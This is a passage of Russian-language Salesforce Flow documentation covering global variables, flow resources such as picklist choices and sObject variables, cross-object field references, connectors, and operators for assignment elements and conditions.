• Theme3: классическая тема Salesforce «Aloha», внедренная в выпуске Spring'10

• PortalDefault: тема клиентского портала Salesforce

• Webstore: тема Salesforce AppExchange

Данная глобальная переменная ссылается на сведения о доступе текущего пользователя к
настраиваемымполномочияморганизации. Данная глобальнаяпеременнаяотображается только
после создания настраиваемых полномочий в организации.

$Permission

Данная глобальная переменная ссылается на сведения из профиля текущего пользователя
(например, имя или тип лицензии).

$Profile

Совет:

• Рекомендуемиспользоватьименапрофилейдляобращенияк стандартнымпрофилям
в полях слияния $Profile.

• Пользователям не требуется доступ к сведениям профиля для выполнения потока,
ссылающегося на данные поля слияния.
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ОписаниеГлобальная
переменная

Данная глобальнаяпеременнаяссылаетсянанастраиваемыепараметрытипа «иерархия». Данная
глобальнаяпеременнаяотображаетсятолькопослесозданиянастраиваемыхпараметровиерархии
в организации. Настраиваемые параметры типа «список» доступны только в Apex.

Настраиваемыепараметрыиерархииподдерживаютзначенияналюбомиз трехразныхуровней.

$Setup

• Организация (стандартное значение для всех пользователей)

• Профиль (переопределяет значение на уровне организации)

• Пользователь (переопределяет значения на уровне организации и профиля)

Система Salesforce автоматически определяет правильное значение для данного поля
настраиваемого параметра на основе текущего контекста текущего пользователя.

$System.OriginDateTime соответствуетлитеральномузначению 1900-01-01 00:00:00.
Рекомендуем использовать данное поле слияния для вычисления смещения даты/времени.

$System

Данная глобальная переменная ссылается на сведения о пользователе, выполняющем сеанс
потока. Например, код или должность пользователя.

$User

Совет:

• Текущий пользователь — это пользователь, запустивший поток.

• Еслипоток запускаетсяприизменениизаписипроцессом Web-to-Case или Web-to-Lead,
то имя текущего пользователя отображается полем «Ответственный за интерес по
умолчанию» или «Ответственный за обращение по умолчанию».

Поля слияния $User.UITheme и $User.UIThemeDisplayed определяют внешний вид
на конкретнойстранице Salesforce. Вотличиеотпеременной $User.UITheme, возвращающей
предполагаемыйвнешнийвид, переменная $User.UIThemeDisplayed возвращаетфактический
внешний вид. Например, если пользователь может просматривать тему пользовательского
интерфейса Salesforce Classic 2010, но использует обозреватель, который не поддерживает
обновленный внешний вид (используя устаревшие версии Internet Explorer), то переменная
$User.UIThemeDisplayed возвращаетдругое значение.Данныеполяслияниявозвращают
одно из указанных ниже значений.

• Theme1: устаревшая тема Salesforce

• Theme2: тема пользовательского интерфейса Salesforce Classic 2005

• Theme3: тема пользовательского интерфейса Salesforce Classic 2010

• Theme4d: современная тема «Lightning Experience» Salesforce

• Theme4t: тема Salesforce1 для мобильной версии Salesforce

• PortalDefault: тема клиентского портала Salesforce

• Webstore: тема Salesforce AppExchange

Данная глобальнаяпеременная ссылаетсяна сведенияоролитекущегопользователя (например,
имя или код роли).

$UserRole

Совет:

• Текущий пользователь — это пользователь, запустивший поток.
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ОписаниеГлобальная
переменная

• Еслипоток запускаетсяприизменениизаписипроцессом Web-to-Case или Web-to-Lead,
то имя текущего пользователя отображается полем «Ответственный за интерес по
умолчанию» или «Ответственный за обращение по умолчанию».

Ресурс «Выбор раскрывающегося списка» потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данный ресурс представляет набор выборов, созданных из значений поля
раскрывающегося списка или раскрывающегося списка со множественным выбором.

ОписаниеПоле

Имяэлементадолжнобытьуникальнымтольковрамках текущего
потока. Уникальное имя элементов может повторяться, при
условии, что данные элементы используются в разных потоках.
Уникальноеимяможетсодержатьтолькобуквы, цифрыисимволы
подчеркивания. Имя должно начинаться с буквы; не может
содержать пробелов и двух последовательных символов
подчеркивания, а также не может заканчиваться символом
подчеркивания.

Уникальное имя

Описаниепозволяетотличатьданныйресурсот другихресурсов.Описание

Тип данных для сохраненного значения выбора.Тип данных
значения

Объект, который должен использоваться для выбора полей.Объект

Поле раскрывающегося списка или раскрывающегося списка со
множественным выбором, которое должно использоваться для
создания списка выборов.

Поле

Данное поле определяет порядок отображения выборов.Порядок
сортировки

Пример: Например, пользовательвыполняетпоток, упрощающийпроцесссозданияорганизацииипредполагающий
необходимость выбора отрасли компании.

Вместо создания одного выбора для каждой отрасли, поток может быть дополнен выбором раскрывающегося
списка, который затем используется для заполнения раскрывающегося списка. При выполнении данного потока
пользователем выбор раскрывающегося списка находит все значения в базе данных для поля раскрывающегося
списка «Отрасль» (1) объекта «Организация» (2).
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Выборы раскрывающегося списка отличаются не только более удобной настройкой, но также минимальным
обслуживанием. При добавлении новых вариантов в раскрывающийся список «Отрасль» объекта «Организация»
поток автоматически отражает данные изменения и не требует обновления.

Использование

Ниже перечислены неподдерживаемые действия.

Фильтрация значений, возвращенных из базы данных.
Потоквсегдаотображает каждое значениераскрывающегося спискадляданногополя (дажеприиспользованиитипов
записей для уточнения выборов раскрывающегося списка в макетах страниц).

Настройка метки для каждого варианта.
Поток всегда отображает метку для каждого значения раскрывающегося списка.

Настройка сохраненного значения для каждого варианта.
Поток всегда сохраняет значение API для каждого значения раскрывающегося списка.

Ниже перечислены неподдерживаемые раскрывающиеся списки.

• Глобальные раскрывающиеся списки

• Раскрывающиеся списки для статей базы знаний

СМ. ТАКЖЕ:

Элемент «Окно» в потоке: поля выбора

Варианты полей выбора в элементах «Окно» потока

Ресурсы потока

Ресурс потока «Переменная коллекции sObject»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ресурс сохраняетобновляемыезначенияполейоднойилинескольких записей Salesforce.
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ОписаниеПоле

Имя элемента должно быть уникальным только в рамках текущего потока. Уникальное
имя элементов может повторяться, при условии, что данные элементы используются в

Уникальное имя

разных потоках. Уникальное имя может содержать только буквы, цифры и символы
подчеркивания. Имя должно начинаться с буквы; не может содержать пробелов и двух
последовательных символов подчеркивания, а также не может заканчиваться символом
подчеркивания.

Описаниепозволяетотличать даннуюпеременнуюколлекции sObject от другихресурсов.Описание

Данноеполеопределяетдоступностьпеременнойколлекции sObject запределамипотока.Тип ввода/вывода

• «Личный»: переменная может быть назначена и использована только внутри потока.

• «Ввод»: переменная может быть задана в качестве начала потока посредством
контроллеров Visualforce или элементов ввода подпотока.

• «Вывод»: переменнаяможетбыть доступна в контроллерахVisualforceидругихпотоках.

Значение по умолчанию: «Личный».

Внимание: Выключениевводаиливыводадля текущейпеременнойможетповлиять
на функциональные возможности приложений и страниц, вызывающих поток и
осуществляющих доступ к переменной. Например, доступ к переменным может
осуществляться посредством параметров URL-адреса, контроллеров Visualforce,
подпотоков и процессов.

Тип записей Salesforce, соответствующих коллекции sObject в потоке.Тип объекта

Использование

Заполненная коллекция sObject может использоваться для создания, обновления или удаления записей в базе данных
Salesforce.

С помощью элемента «Цикл» можно просмотреть все элементы в коллекции. Значения полей элемента, проверяемого
посредством цикла, копируются в переменную sObject, выбранную в качестве переменной цикла. Чтобы разрешить циклу
изменение элемента коллекции (например, обновление значенийполей элемента), выполните указанныениже действия.

1. Настройте элементы цикла для обновления переменной цикла.

2. Добавьте значения полей переменной в отдельную коллекцию.

Пользователи могут добавлять новые элементы в конец коллекции (элемент «Назначение») или заменять все элементы
коллекции (элемент «Быстрый поиск»). Однако пользователи не могут обновлять текущие элементы коллекции. Для
решения данной проблемы пользователи могут разрешить циклу итерационное дополнение другой коллекции
содержимым переменной цикла. После завершения цикла пользователи могут обновить записи Salesforce значениями
из новой коллекции.

СМ. ТАКЖЕ:

Образец потока, выполняющего цикл по коллекции

Элемент «Цикл» в потоке

Ресурсы потока
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Ресурс потока «Переменная sObject»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ресурс сохраняет обновляемые значения полей записи Salesforce.

ОписаниеПоле

Имяэлементадолжнобытьуникальнымтольковрамках текущего
потока. Уникальное имя элементов может повторяться, при
условии, что данные элементы используются в разных потоках.
Уникальноеимяможетсодержатьтолькобуквы, цифрыисимволы
подчеркивания. Имя должно начинаться с буквы; не может
содержать пробелов и двух последовательных символов
подчеркивания, а также не может заканчиваться символом
подчеркивания.

Уникальное имя

Описание позволяет отличать эту переменную sObject от других
ресурсов.

Описание

Данное поле определяет доступность переменной sObject за
пределами потока.

Тип ввода/вывода

• «Личный»: переменнаяможетбытьназначенаииспользована
только внутри потока.

• «Ввод»: переменная может быть задана в качестве начала
потока посредством контроллеров Visualforce или элементов
ввода подпотока.

• «Вывод»: переменная может быть доступна в контроллерах
Visualforce и других потоках.

Данноеполене влияетна способназначенияилииспользования
переменных внутри одного потока (например, посредством
следующих типов элементов: «Назначение», «Создание записи»
или «Быстрое создание», «Поиск записи» или «Быстрый поиск»
и «Модуль Apex»).

По умолчанию поле содержит значение «Личный».

Внимание: Выключение ввода или вывода для текущей
переменной может повлиять на функциональные
возможности приложений и страниц, вызывающих поток
иосуществляющихдоступкпеременной. Например, доступ
к переменным может осуществляться посредством
параметров URL-адреса, контроллеров Visualforce,
подпотоков и процессов.

Тип записи Salesforce, соответствующей переменной sObject в
потоке.

Тип объекта
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Использование

По умолчанию созданной переменной sObject задается значение null. Прежде чем добавить ссылку на значения
переменной sObject, убедитесь, что переменная sObject содержит значение, путем использования оператора «равно
нулю» в элементе «Решение».

СМ. ТАКЖЕ:

Ресурсы потока

Системные переменные в потоках

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Предоставляемые системой значения выполняемого сеанса потока (например,
{!$Flow.CurrentDate}, {!$Flow.CurrentDateTime} и
{!$Flow.FaultMessage}).

ОписаниеПоддерживаемые типы
ресурсов

Системная переменная

Дата выполнения сеансом
потока элемента,
ссылающегося на
системную переменную.

«Текст», «Дата» и «Дата
и время»

{!$Flow.CurrentDate}

Дата и время выполнения
сеансом потока элемента,

«Текст», «Дата» и «Дата
и время»

{!$Flow.CurrentDateTime}

ссылающегося на
системную переменную.

Сообщение о системной
ошибке, позволяющее

Текст{!$Flow.FaultMessage}

администраторам потока
устранять ошибки
выполнения.

Пример: Поток предназначается только для внутреннего пользования сотрудниками центра обработки вызовов.
Каждому элементу потока, взаимодействующему с базой данных Salesforce, может быть задан коннектор «Ошибка»,
связанный с окном. Поле «Отображать текст» данного окна может содержать сообщение о системной ошибке,
которое должно быть передано сотрудникам отдела информационных технологий.

Sorry, but you can’t read or update records at this time.
Please open a case with IT, and include the following error message:
{!$Flow.FaultMessage}

СМ. ТАКЖЕ:

Настройка действий, выполняемых при неудачном выполнении потока

Ресурсы потока
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Ресурс потока «Текстовыйшаблон»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данный ресурс сохраняет текст в формате HTML.

ОписаниеПоле

Имяэлементадолжнобыть уникальнымтольковрамках текущего
потока. Уникальное имя элементов может повторяться, при
условии, что данные элементы используются в разных потоках.
Уникальноеимяможетсодержатьтолькобуквы, цифрыисимволы
подчеркивания. Имя должно начинаться с буквы; не может
содержать пробелов и двух последовательных символов
подчеркивания, а также не может заканчиваться символом
подчеркивания.

Уникальное имя

Описание позволяет отличать этот текстовыйшаблон от других
ресурсов.

Описание

Текст шаблона. Для форматирования текста и привязки полей к
справочной информации, содержащейся в других ресурсах,
используется язык разметки HTML.

Текстовый
шаблон

Пример: Например, при создании потока, регистрирующего участников события, пользователь может создать
текстовыйшаблон, содержащий имя, адрес и другие сведения о регистрируемом участнике, а затем использовать
шаблон в электронном подтверждении, отправляемом после завершения потока.

СМ. ТАКЖЕ:

Ресурсы потока

Ссылки на поля кросс-объекта в потоках

Ресурс потока «Переменная»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данный ресурс сохраняет значение, которое может обновляться по мере выполнения
потока.

ОписаниеПоле

Имяэлементадолжнобытьуникальнымтольковрамках текущего
потока. Уникальное имя элементов может повторяться, при
условии, что данные элементы используются в разных потоках.
Уникальноеимяможетсодержатьтолькобуквы, цифрыисимволы
подчеркивания. Имя должно начинаться с буквы; не может
содержать пробелов и двух последовательных символов
подчеркивания, а также не может заканчиваться символом
подчеркивания.

Уникальное имя

Описаниепозволяетотличатьэтупеременнуюотдругихресурсов.Описание

Данное поле определяет типы значений, которые могут быть
назначены переменной.

Тип данных
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ОписаниеПоле

Определяет число знаковпосле запятой. Неможетпревышать 17 цифр. Еслиданноеполе
являетсяпустымилисодержитнулевое значение, топривыполнениипотокаотображаются
только целые числа.

Данноеполеотображается тольков томслучае, еслиполю «Тип данных» заданозначение
«Число» или «Валюта».

Шкала

Данное поле определяет доступность переменной за пределами потока.Тип ввода/вывода

• «Личный»: переменная может быть назначена и использована только внутри потока.

• «Ввод»: переменная может быть задана в качестве начала потока посредством
контроллеров Visualforce или элементов ввода подпотока.

• «Вывод»: переменнаяможетбытьдоступна в контроллерахVisualforceидругихпотоках.

Данное поле не влияет на способ назначения или использования переменных внутри
одного потока (например, посредством следующих типов элементов: «Назначение»,
«Создание записи» или «Быстрое создание», «Поиск записи» или «Быстрый поиск» и
«Модуль Apex»).

Стандартное значение поля определяется выпуском системы или версией API,
использованной для создания переменной.

• «Личный»: дляпеременных, созданныхввыпуске Summer'12 иболеепозднихвыпусках
или в интерфейсе API 25.0 и более поздних версиях.

• «Ввод» и «Вывод»: для переменных, созданных в выпуске Spring'12 и более ранних
выпусках или в интерфейсе API 24.0 и более ранних версиях.

Внимание: Выключениевводаиливыводадля текущейпеременнойможетповлиять
на функциональные возможности приложений и страниц, вызывающих поток и
осуществляющих доступ к переменной. Например, доступ к переменным может
осуществляться посредством параметров URL-адреса, контроллеров Visualforce,
подпотоков и процессов.

Ресурс определяет значениепеременной вмомент запуска потока. Еслиоставить это поле
пустым, присваивается значение null.

Стандартные значения недоступны для переменных типа «Раскрывающийся список» и
«Раскрывающийся список (множественный выбор)».

Значение по умолчанию
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Использование

Переменная может быть удалена в любое время. Любымназначениям, использующим удаленнуюпеременную, задается
значение null.

СМ. ТАКЖЕ:

Ресурсы потока

Элемент потока «Назначение»

Ресурс потока «Переменная sObject»

Ссылки на поля кросс-объекта в потоках

Ссылки на поля кросс-объекта в потоках

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

При создании потока система позволяет ссылаться на поля записей, связанных со
значениями, которыехранятся впеременной sObject. Для этого, введите ссылкивручную.

Значения полей кросс-объекта являются действительными, если пользователь может
ссылаться на ресурс потока или вводить значение вручную.

Советы по внедрению

Если сеанс потока обнаруживает нулевое значение в выражении кросс-объекта, то
выполнениеэлемента, содержащегоссылку, прерывается. Успешноевыполнениессылки
возможно только в том случае, если последнее поле выражения содержит значение
null. Например, присохраненииконтакта в {!sObjContact} идобавленииссылки
на выражение {!sObjContact}.Account.Name поток не выполняется, если поле
AccountId сохраненногоконтактасодержитзначение null  (ввидуотсутствиядоступнойорганизации), новыполняется,
если поле Name связанной организации содержит значение null.

Еслиэлемент содержитпроблемнуюссылку кросс-объекта, нонеподдерживаетпутьошибки, то выполнениевсего сеанса
прерывается. Чтобы предотвратить подобную ситуацию, выполните указанные ниже действия.

• НазначьтесоответствующимполямстатусобязательныхвсистемеSalesforce. Например, прииспользованиивыражения
{!sObjContact}.Account.Name обязательным может являться поле AccountId макета страницы контактов.
При использовании другого потока найдите все записи, содержащие значения null в данном поле, и обновите их.

• Проверьте каждоеполе, используемое выражением, наналичие значенияпосредствомоператора wasSet в элементе
«Решение».

Ссылкинаполякросс-объекта впотокахнеучитываютсяследующимиограничениями, установленнымидляорганизации:

• Количество взаимосвязей кросс-объекта на объект

• Количество операций DML на транзакцию

Синтаксис

Чтобы добавить ссылку на поле связанной записи, воспользуйтесь данным синтаксисом.

{!sObjectVariable.objectName1.objectName2.fieldName}

где:

• sObjectVariable заменяется уникальным именем нужной переменной sObject.
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• objectName1 заменяется API-именемобъекта, связанногостипомобъекта sObjectVariable. API-именавсехнастраиваемых
объектов заканчиваются компонентом __r.

• (Дополнительно) objectName2 заменяется API-именем объекта, связанного с objectName1.

Выражение должно содержать как минимум одно имя объекта. При необходимости добавьте другие объекты.

• fieldName заменяется именем нужного поля последнего объекта выражения. API-имена всех настраиваемых полей
заканчиваются компонентом __c.

Например, выражение {!sOv_Contact.Account.Id} ссылается на поле «Код» организации, связанной с записью
контакта, которой соответствует переменная sObject в потоке.

При создании переменной sObject, которая должна использоваться для ссылки на поля связанных записей, сохраните
код для первой связанной записи в переменной. Например, чтобы добавить ссылку на контракт возможности, сохраните
поле ContractId в переменной sObject или добавить значение для поля ContractId посредством элемента
«Назначение».

Пример: Например, чтобызаменитьответственногозаконтрактответственнымзаорганизациюконтракта, выполните
указанные ниже действия.

1. Чтобы сохранить поля контракта, включая поле AccountId, в переменной sObject по имени varContract,
воспользуйтесь элементом «Быстрый поиск».

2. Чтобы подтвердить, что значение поля AccountId задано в переменной varContract, воспользуйтесь
элементом «Решение».

3. Чтобы сохранить поля организации контракта, включая поле OwnerId, в другой переменной sObject по имени
varAccount, воспользуйтесь элементом «Быстрый поиск».

4. Чтобыподтвердить, чтозначениеполя OwnerId задановпеременной varAccount, воспользуйтесьэлементом
«Решение».

5. Чтобы задать {!varContract.Account.OwnerId} как значение для {!varContract.OwnerId},
воспользуйтесь элементом «Назначение».
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6. Чтобы задать значенияпеременной varContract, включая обновленное значениеполя OwnerId, контракту
в системе Salesforce, воспользуйтесь элементом «Быстрое обновление».

Коннекторы потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Коннекторы определяют доступные пути, которые могут использоваться потоком при
выполнении. Коннектор, добавленный на холст облачной версии приложения Flow
Designer, отображается в виде стрелки, направленной от одного элемента к другому.

ОписаниеПримерМетка

Данныйконнекторопределяетэлемент,
который должен выполняться
следующим.

Без метки

Определяет элемент, который будет
запущен при выполнении условий для
результата элемента «Решение».

Имя результата
решения

Данныйконнекторопределяетэлемент,
который должен выполняться при

Имя события
ожидания

наступлении события, заданного в
элементе «Ожидание».

Данныйконнекторопределяетэлемент,
который должен выполняться при

ОШИБКА

возникновенииошибкивпредыдущем
элементе.

Данный коннектор определяет первый
элемент, который должен выполняться
для каждой итерации элемента «Цикл».

Следующий
элемент

Определяет элемент, который должен
выполняться после завершения

Конец цикла

элементом «Цикл» итерации по
коллекции.

СМ. ТАКЖЕ:

Элементы потока
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Операторы потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Принципдействияоператоровзависитотихприменения. Вэлементахтипа «Назначение»
операторы позволяют изменять значения ресурсов. В условиях потока и фильтрах
записей операторы предоставляют возможность оценки информации и сокращения
объемов работ потока.

Операторы в элементах «Назначение» потока
Рекомендуем использовать операторы элемента «Назначение» для изменения
значения выбранного ресурса.

Операторы в условиях потока
Рекомендуем использовать операторы условия для проверки значения выбранного
ресурса. Условия используются в элементах «Решение» и «Ожидание».

Операторы в фильтрах записей потока
Фильтрзаписипотокаограничиваетобласть записей, обрабатываемыхпотоком. Например, воспользуйтесьфильтром
записей для обновления только контактов, связанных с организацией 1. При добавлении элемента «Обновление
записи» воспользуйтесьфильтрами записей для ограничения области только контактами, где организация 1 является
родительской.

Операторы в элементах «Назначение» потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Рекомендуемиспользовать операторы элемента «Назначение» для изменения значения
выбранного ресурса.

Данный раздел содержит справочную информацию по поддерживаемым операторам
для каждого типа данных выбранного ресурса.

• Логический

• Коллекция

• Валюта

• Дата

• Дата/время

• Раскрывающийся список со множественным выбором

• Число

• Раскрывающийся список

• sObject

• Текст

Логический

Замена ресурса типа «Логический» новым значением.
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ПримерПоддерживаемые
типы данных

ОписаниеОператор

До назначения: {!varBoolean} возвращает false.

Назначение: {!varBoolean} равно
{!$GlobalConstant.True}.

ЛогическийДанные, введенные или
выбранные как значение,
заменяютзначениепеременной.

равно

Посленазначения: {!varBoolean} возвращает true.

Коллекция

Замена значенияпеременнойколлекцииилипеременнойколлекции sObject («равно»), либодобавление элемента в конец
переменной («добавить»).

ПримерПоддерживаемые
типы данных

ОписаниеОператор

До назначения:Коллекция
аналогичного

Данные, введенные или
выбранные как значение,
заменяютзначениепеременной.

равно

• {!collText} возвращает Yellow, Green,
Blue.типа данных

или типа
объекта

Типы данных
«Текст»,

• {!collPicklist} возвращает Blue, Red,
Orange.

Назначение: {!collText} равно
{!collPicklist}.«Раскрывающийся
После назначения: {!collText} возвращает Blue,
Red, Orange.

список» и
«Раскрывающийся
список со
множественным
выбором»
совместимы
друг с другом.

До назначения:Переменная
аналогичного

Данные, введенные или
выбранные как значение,

добавить

• {!collText} возвращает Yellow, Green,
Blue.типа данных

илипеременная
добавляютсявконецколлекции
в качестве нового элемента.

• {!varPicklist} возвращает Red.sObject
Назначение: {!collText} добавить
{!varPicklist}.

аналогичного
типа объекта

Типы данных
«Текст»,

После назначения: {!collText} возвращает
Yellow, Green, Blue, Red.

«Раскрывающийся
список» и
«Раскрывающийся
список со
множественным
выбором»
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ПримерПоддерживаемые
типы данных

ОписаниеОператор

совместимы
друг с другом.

Валютаичисло

Замена («равно»), добавление («добавить») или вычитание («вычесть») значения ресурса типа «Валюта» или «Число».

ПримерПоддерживаемые
типы данных

ОписаниеОператор

До назначения: {!varCurrency} возвращает 10.

Назначение: {!varCurrency} равно 7.

Число, введенное или
выбранное как значение,
заменяет значениепеременной.

равно • Валюта

• Число
После назначения: {!varCurrency} возвращает 7.

До назначения: {!varCurrency} возвращает 10.

Назначение: {!varCurrency} добавить 7.

Число, введенное или
выбранное как значение,
добавляется в значение
переменной.

добавить • Валюта

• Число
После назначения: {!varCurrency} возвращает 17.

До назначения: {!varCurrency} возвращает 10.

Назначение: {!varCurrency} вычесть 7.

Число, введенное или
выбранное как значение,
вычитается из значения
переменной.

вычесть • Валюта

• Число
После назначения: {!varCurrency} возвращает 3.

Дата

Замена («равно»), добавление («добавить») или вычитание («вычесть») значения ресурса типа «Дата/время».

ПримерПоддерживаемые
типы данных

ОписаниеОператор

Доназначения: {!varDate} возвращает 1/16/2016.

Назначение: {!varDate} равно 1/15/2016.

Дата, введенная или выбранная
как значение, заменяет значение
переменной.

равно • Дата

• Дата/время
После назначения: {!varDate} возвращает
1/15/2016.

Доназначения: {!varDate} возвращает 1/16/2016.

Назначение: {!varDate} добавить 7.

Значение добавляется в
значение выбранной
переменной (в днях).

добавить • Валюта

• Число
После назначения: {!varDate} возвращает
1/23/2016.

Доназначения: {!varDate} возвращает 1/16/2016.

Назначение: {!varDate} вычесть 7.

Значение вычитается из
значения выбранной
переменной (в днях).

вычесть • Валюта

• Число
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ПримерПоддерживаемые
типы данных

ОписаниеОператор

После назначения: {!varDate} возвращает
1/9/2016.

Дата/время

Замена ресурса типа «Дата/время» новым значением («равно»).

ПримерПоддерживаемые
типы данных

ОписаниеОператор

До назначения: {!varDateTime} возвращает
1/16/2016 01:00.

Назначение: {!varDateTime} равно 1/16/2016
08:00.

Дата, введенная или выбранная
как значение, заменяет значение
переменной.

равно • Дата

• Дата/время

После назначения: {!varDateTime} возвращает
1/16/2016 08:00.

Раскрывающийся список

Замена ресурса типа «Раскрывающийся список» новым значением («равно») или объединение значения с исходным
значением («добавить»).

Прим.: Значения назначаются или добавляются в ресурс типа «Раскрывающийся список» после преобразования
в строковые значения.

ПримерПоддерживаемые
типы данных

ОписаниеОператор

До назначения: {!varPicklist} возвращает Blue.

Назначение: {!varPicklist} равно Yellow.

Данные, введенные или
выбранные как значение,
заменяютзначениевыбранного
раскрывающегося списка.

равно • Логический

• Валюта
После назначения: {!varPicklist} возвращает
Yellow.

• Дата

• Дата/время

• Раскрывающийся
список со
множественным
выбором

• Число

• Раскрывающийся
список

• Текст
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ПримерПоддерживаемые
типы данных

ОписаниеОператор

До назначения: {!varPicklist} возвращает Blue.

Назначение: {!varPicklist} добавить -green.

Данные, введенные или
выбранные как значение,
добавляются в конец

добавить • Логический

• Валюта
После назначения: {!varPicklist} возвращает
Blue-green.

• Датавыбранного раскрывающегося
списка. • Дата/время

• Раскрывающийся
список со
множественным
выбором

• Число

• Раскрывающийся
список

• Текст

Раскрывающийся список сомножественнымвыбором

Замена ресурса типа «Раскрывающийся список со множественным выбором» новым значением («равно»), объединение
значения с исходным значением («добавить») или добавление выбора в ресурс («добавить элемент»).

Прим.: Значения назначаются или добавляются в ресурс типа «Раскрывающийся список со множественным
выбором» после преобразования в строковые значения.

ПримерПоддерживаемые
типы данных

ОписаниеОператор

До назначения: {!varMSP} возвращает Blue.

Назначение: {!varMSP} равно Yellow.

Данные, введенные или
выбранные как значение,
заменяютзначениевыбранного

равно • Логический

• Коллекция
После назначения: {!varMSP} возвращает Yellow.• Валютараскрывающегося списка со

множественным выбором. • Дата

• Дата/время

• Раскрывающийся
список со
множественным
выбором

• Число

• Раскрывающийся
список

• Текст

Доназначения: {!varMSP} возвращает Blue; Green.
Данное значение содержит два отдельных выбора.

Назначение: {!varMSP} добавить Yellow.

Данные, введенные или
выбранные как значение,
добавляются в последний
элемент, выбранный в

добавить • Логический

• Валюта

• Дата
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ПримерПоддерживаемые
типы данных

ОписаниеОператор

После назначения: {!varMSP} возвращает Blue;
GreenYellow. Данное значение содержит два
отдельных выбора.

раскрывающемся списке со
множественным выбором. Они
не создают выбор.

Добавление элементов в ресурс
типа «Раскрывающийся список

• Дата/время

• Раскрывающийся
список со
множественным
выбором

со множественным выбором» • Число
выполняется посредством
оператора «добавить элемент».

• Раскрывающийся
список

Чтобы добавить элементы,
разделенные точкой с запятой,

• Текст

в переменную
раскрывающегося списка со
множественным выбором
посредством оператора
«добавить», рекомендуемвсегда
добавлять пробел после точки
с запятой и удалять пробел
передточкойс запятой (приего
наличии). Данный алгоритм
позволяет сравнивать значения
переменной со значениями
поля раскрывающегося списка
со множественным выбором из
базы данных Salesforce.
Например: ; Yellow

Доназначения: {!varMSP} возвращает Blue; Green.

Назначение: {!varMSP} добавить элемент Yellow.

Данные, введенные или
выбранные как значение,
добавляются в конец

добавить
элемент

• Логический

• Валюта
После назначения: {!varMSP} возвращает Blue;
Green; Yellow. Данное значение содержит три
отдельных выбора.

• Датараскрывающегося списка со
множественным выбором в
качестве нового выбора.
Элемент «Назначение»

• Дата/время

• Раскрывающийся
список со

автоматически добавляет «; » множественным
выборомперед новым элементом.

Данный алгоритм позволяет
• Число

системе Salesforce считывать его
• Раскрывающийся

список
как отдельный элемент,
выбранный раскрывающимся

• Текстсписком со множественным
выбором.

sObject

Замена переменной sObject новым значением («равно»).
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ПримерПоддерживаемые
типы данных

ОписаниеОператор

До назначения:sObject с
аналогичным
типом объекта

sObject, выбранный как
значение, заменяет значение
переменной.

равно

• {!account1} содержит значения полей для
организации 1.

• {!account2} содержит значения полей для
организации 2.

Назначение: {!account1} равно {!account2}.

После назначения: {!account1} и {!account2}
содержат значения полей для организации 2.

Текст

Замена ресурса типа «Текст» новым значением («равно») или объединение значения с концом исходного значения
(«добавить»).

Прим.: Значенияназначаютсяилидобавляются вресурс типа «Текст» послепреобразованияв строковые значения.

ПримерПоддерживаемые
типы данных

ОписаниеОператор

До назначения: {!varText} возвращает Blue.

Назначение: {!varText} равно Yellow.

Текст, введенный или
выбранный как значение,
заменяет значениепеременной.

равно • Логический

• Валюта
После назначения: {!varText} возвращает Yellow.• Дата

• Дата/время

• Число

• Раскрывающийся
список со
множественным
выбором

• Раскрывающийся
список

• Текст

До назначения: {!varText} возвращает Blue.

Назначение: {!varText} добавить Yellow.

Текст, введенный или
выбранный как значение,
добавляется в конец
переменной.

добавить • Логический

• Валюта
После назначения: {!varText} возвращает
BlueYellow.

• Дата

• Дата/время

• Число

• Раскрывающийся
список со
множественным
выбором
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ПримерПоддерживаемые
типы данных

ОписаниеОператор

• Раскрывающийся
список

• Текст

Операторы в условиях потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Рекомендуем использовать операторы условия для проверки значения выбранного
ресурса. Условия используются в элементах «Решение» и «Ожидание».

Данный раздел содержит справочную информацию по поддерживаемым операторам
для каждого типа данных выбранного ресурса.

• Логический

• Выбор

• Коллекция

• Валюта

• Дата

• Дата/время

• Раскрывающийся список со множественным выбором

• Число

• Раскрывающийся список

• sObject

• Текст

Логический

Проверка значения ресурса типа «Логический» на соответствие другому значению или ресурсу.

Поддерживаемые
типы данных

Условие истинностиОператор

ЛогическийЗначениевыбранногоресурсане соответствуетданным, введеннымиливыбранным
как значение.

не равно

ЛогическийЗначение выбранного ресурса соответствует данным, введенным или выбранным
как значение.

Результат возвращает истинное значение при применении данного результата
сеансом потока. Событие ожидания возвращает истинное значение при
соответствии всех условий ожидания для данного события.

равно

ЛогическийЗначение ресурса является полем переменной sObject, которое как минимум один
раз заполнялось значением в потоке.

задано

ЛогическийВыбранный ресурс является элементом потока, который просматривался во время
сеанса потока.

просмотрено
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Выбор

Каждыйресурс типа «Выбор» использует тип данныхиподчиняетсяправиламоператоров для данного типа данных. Тем
не менее, ресурсы типа «Выбор» поддерживают один дополнительный оператор, который не поддерживается другими
ресурсами (независимо от их типа данных).

Поддерживаемые
типы данных

